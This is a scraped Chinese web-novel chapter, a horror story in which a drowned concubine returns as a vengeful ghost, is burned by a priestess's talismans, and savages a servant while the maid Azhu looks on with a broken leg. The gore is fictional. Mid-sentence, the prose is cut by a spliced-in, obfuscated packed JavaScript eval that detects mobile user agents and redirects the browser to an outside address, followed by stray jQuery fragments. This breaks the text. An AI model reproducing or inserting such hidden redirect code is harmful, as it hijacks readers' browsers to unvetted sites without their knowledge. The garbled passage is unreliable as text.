默认冷灰
24号文字
方正启体

43. 第43章

作者:金鳞甲本书字数:K更新时间:
    纸人引路,玄棺镇宅。


    老爷五十儿方十,家门不幸莫奈何。


    小儿苦凄生死别,娘来血撒夫家祠。


    水底好冷,所以小李氏爬出来了。


    她忘了自己是怎么上岸的,意识回笼时,自己已经站在了岸边。水面平静,好似什么也没发生过。


    水珠从衣服、头发、脸颊不断地滑落,好像永远都流不完。河水长时间泡过的皮肤发白发青,鼓起的青黛经脉在下面藤蔓缠绕般蔓延。


    她站在河边,动了动水珠垂悬在指尖的手臂。或许是某种执念,她唯一的念头就是要回去。


    去哪儿?


    不再跳动的心脏告诉她,赵府。她要去赵府。


    内地里暗流涌动表面却平静无比的府里,地下响起几声石头砸落的声音。阿朱被关在不见天日的地窖里,分不清时间的流逝,更不知道外面到底是什么状况。


    地窖尽是青苔和霉味儿,她咳嗽几声,只觉嗓子疼痛。他们是故意的,等着猎物自投罗网。凤奴呢,凤奴该怎样看她,会怨她吗?怨自己带上他走上不归路,怨自己不够聪明也逃不出去。


    地窖门外传来拨动铁链的声音,阿朱以为得救了,急忙爬起来歪歪倒倒往前走过去。左腿在道婆叫人来抓她时,被人踢了一脚,以至于她坐在地窖里动不了,但凡随笔动一下大腿骨便会传来揪心的痛。


    阿朱弯腰扶着腿,满怀期待地注视逐渐大开的门缝。


    “动作麻利点,干净处理了好去交差。”


    “这小丫鬟死了就死了不会有麻烦吧。”


    “不会,放心吧。”


    两人一言一语间,阿朱心中升起不好的预感,还没来得及往后躲,说话的两人就跳下来捉住她的手臂,将她往外扯。


    “你们是谁?”


    “我们是谁,是送你上路的。”


    两人笑了笑,便仔细看了眼周围,捉住阿朱的臂膀就要将她往人少的地方带。阿朱腿痛,跟班没发阻挡两人的动作,只能拖着半残的腿抵抗。


    “有没有人!”


    话音未落,其中一个男人就往阿朱的嘴巴里塞了东西,阿朱来回晃了几下脑袋,试图挣开。或许是知道自己命不久矣,她动得厉害。两个人竟然一时间按不住,其中一人吐了口唾沫,难听地骂了声后,直接狠狠踹了脚阿朱已经受过伤的腿。


    瞬间,阿朱的耳朵听见了一声十分响亮的骨头彻底断裂的声音。


    随之而来的,身体失去平衡再也无法挣扎,她面朝下摔在了地上,眼睛一瞬不眨地望着离自己仅有一寸的地面。


    麻木的冷汗倏地全冒了出来,阿朱静静呆了会儿,随即惊恐痛苦地爆发出一声只能通过破布传出来的闷哼声。


    巨大的痛苦传遍四肢百骸,阿朱剧烈粗重的呼吸着,眼眶蓄着大颗大颗的泪水,惊恐地低下头后才发现自己的腿正以一种恐怖的角度扭曲着。


    腿骨的断裂声不断崇福响起,萦绕在阿朱耳边,她浑身发着抖,无法屏蔽任何声音,所有的呼吸声、风声都在这瞬间放大。唯独人声,她怎么都听不清楚。


    “……那边怎么这么亮……怎么回事……要不要去看看……先把她处理掉吧……那是谁啊……”


    周围似乎出现了火光,汗水流进眼睛,阿朱缓缓眨了几下眼睛,视线渐渐聚焦。围城一圈的火把将赵府这一片天地几乎映成了白天。


    火光映照下,阿朱恍惚至极,眼睛一时无法适应这样的光线。


    一双沾了水和泥的赤脚走到阿朱跟前,阿朱看见了熟悉的样式,她睁大了眼睛,努力仰头想要看清楚这人。


    来人身上的水珠落在阿朱脸上,阿朱胸腹剧烈地起伏着,她想说话,嘴巴里的东西被女人取走后,又绝望得说不出一句话。


    “你、你还好吗?”阿朱无力地问话。


    是小李氏吗?她本来可以活着的,阿朱想,她分不清虚幻与现实,只是单纯觉得要是小李氏还活着的话真是太好了。


    可女人只觉得是天不让她死,她从水里爬出来,浑身水汽,轻飘飘回到赵家。


    是人还是鬼,得看人。


    小李氏成了道婆口里要来拖人下水的女鬼。


    震惊渐渐冲刷大腿骨的疼痛,阿朱趴在地上,手上的麻绳不知为何突然松开,她试图爬起来,可这回没能成功。


    “抓住她。”


    宋夫人站得高,眼里只有小李氏,她似乎和原来阿朱见过的模样不太一样。看见惨剧也不过紧皱起眉头,局外人一般任凭道婆发号施令。


    符咒贴在周围,铜铃声和阿朱听不懂的话流水一样顺畅的从道婆那儿传来。


    “凭什么,凭什么!”


    用灵血绘制的黄符落在小李氏身上,原本无色的皮肤瞬间被烧得极痛。


    “啊啊啊啊啊啊啊啊啊……”


    她痛苦地嚎叫,像某种深山老林里野兽被捕兽夹夹住的求救声。阿朱震惊地望着这一切。


    赵家要小李的命如今连做鬼的都不放过她,她的这条命轻贱得如同草芥,可她再不会像活人一样。


    死了也好。她不是小李氏,是李姑娘,来索命勾魂的女鬼。


    失去了理智后,恶鬼的面目变得狰狞可怖。她身上烧起大火手足胡乱挥舞着,变成野兽肆意游走在人群中间,终于,她抓到了一个活人。


    阿朱一睁眼,就看见那人的半张脸被爪牙撕咬得血肉模糊,活人不断地发出求救声和疼痛的哀嚎。血液吧嗒吧嗒大片洒在地上。


    恶鬼像刚喝到人血一般贪婪地舔舐,水蛭一般紧紧附在活人身上。随着血肉的一声撕拉声和男人的惨叫,阿朱看见小李氏撕下来那人的半张脸。


    恶鬼嘴里尚且含着红彤彤的肉,被咬的人半边脸只剩一点皮肉坠在骨头上。眼球歪斜着躺在完整的眼眶中,被鲜血浸泡着。


    “咚!”尸体倒在地上。


    “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊——死人了,死人了!快跑啊——”


    院子众人逃窜,人和人互相碰撞,丝毫不顾虑他人急忙逃命。


    “水井!”


    道婆高呼,骤然烧起的灵火愈旺。


    宋夫人此时也终于再不能维持那副菩萨心肠高高在上的形象,她慌忙地往后退。撕烂微伪善的面目,露出光鲜亮丽背后的自私刻薄。她命令还守着她的下人站在她的面前,自己躲在最后。


    小李氏浑身都是火,空气中充斥着某种潮湿木头燃烧的刺鼻味道。她呻吟着,疯狂地哀嚎。


    她清楚明白地知道自己变成了恶鬼,变成人人喊打,除之而后快的孽障。


    直到最后倒在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919479|172653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地上,阿朱都没能彻底看清小李氏最后的模样。她只看见那人的身子被火烧着后,抽搐了一下,全身焦黑,像一块烂了许久的梨花木,若不仔细看根本看不出人形。


    阿朱闻到了烧焦的味道,一股恶心黏腻感瞬间攀上喉咙。她无法抑制地吐出酸水,肚子火辣辣的疼痛不止。


    小李氏不会真正的死,不知为何心底冒出这个念头,阿朱必须得拦住。


    使不上劲的双腿在信念下终于不再瘫软,阿朱在地上来回踢蹬了几下,不断挣扎着起了身。


    恶鬼与她同一时间重新站起来,只是这回,她没再冲向人群,而是径自走向水井。


    道婆站在井口旁,井口上贴了阿朱看不懂的符箓。


    “等等!”阿朱喊,“不能让她进去!”


    可是没人听她的话,阿朱拖着废腿,来不及阻拦一切,只能眼睁睁望着那截梨花木直直跌进井底。


    一阵巨大的水花声后,井口冒起一阵浓雾。


    院子里静谧得只剩活人小声的啜泣声,身后脚步声渐进,阿朱恍若未觉。她眼神放空,远远地看向好似没有发生什么的井口。


    腰侧伸出一只手,苍白湿漉漉。


    “看我。”


    一个模糊的声音钻进耳朵,在阿朱还没反应过来时,凤奴已经抱住了阿朱,这是一个充满安抚镇定意味的拥抱。


    凤奴从未像这样主动抱过阿朱,许久没有接触过的温暖让阿朱根本不会意识到有任何的不对劲。


    “我们会死吗?”


    阿朱问话的声音带着哭腔,却依旧强撑着让自己不落下泪水。她得装出坚强镇定的模样,她不能先在凤奴面前倒下。


    “不知道哦。”


    耳边的语调黏稠湿润,带着永不餍足的贪欲。


    阿朱怔愣了瞬,没有干的眼泪半挂着在眼睫上,眼尾的一簇睫毛沮丧地耷拉下来。


    她安慰自己,没关系,凤奴一直这样,可是……


    “你不害怕吗?”


    阿朱想问你不伤心吗?可凤奴的回答大概率是不。她明白凤奴根本就没把他的亲生母亲放在心上。可是为什么呢?为什么连自己的母亲死在自己眼前了也能做到面不改色呢?


    一股寒意袭上心头,赶走凤奴带来的暖。挂在身上的两只胳膊没有变,可阿朱似乎开始感受不到任何的暖意,有的只是冰凉僵硬。


    凤奴养的渡鸦就在凤奴背后,阿朱同它对视,渡鸦只是静静地回望。它仿佛有了自己的神识,是活生生的人,而不只是一只简单普通的禽兽。


    凤奴抬手摸了几下阿朱的头发,阿朱的头发真的长长了很多。


    小可怜,吓坏了吧,我让你做个噩梦,腿都断了。幽蓝的瞳孔定定望向阿朱再也直不起来的左腿。


    真可伶,不过没关系,你很快就能解脱了。梦太长了是时候该醒了。


    凤奴松开手,将阿朱紧紧抱住自己的双臂扯开。阿朱尚且留恋着,只眼巴巴望着凤奴。


    凤奴站起身,看了眼宋夫人。下一秒,阿朱被人扣在地上。她脊背佝偻着,被人硬生生拖拽着跪倒在地。


    阿朱看见宋夫人过来。阿朱脸上还残留着惊惧,她分明害怕可依旧大着胆子抬头不死心地看向凤奴。


    “好孩子,等处理了她,一切就都好办了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)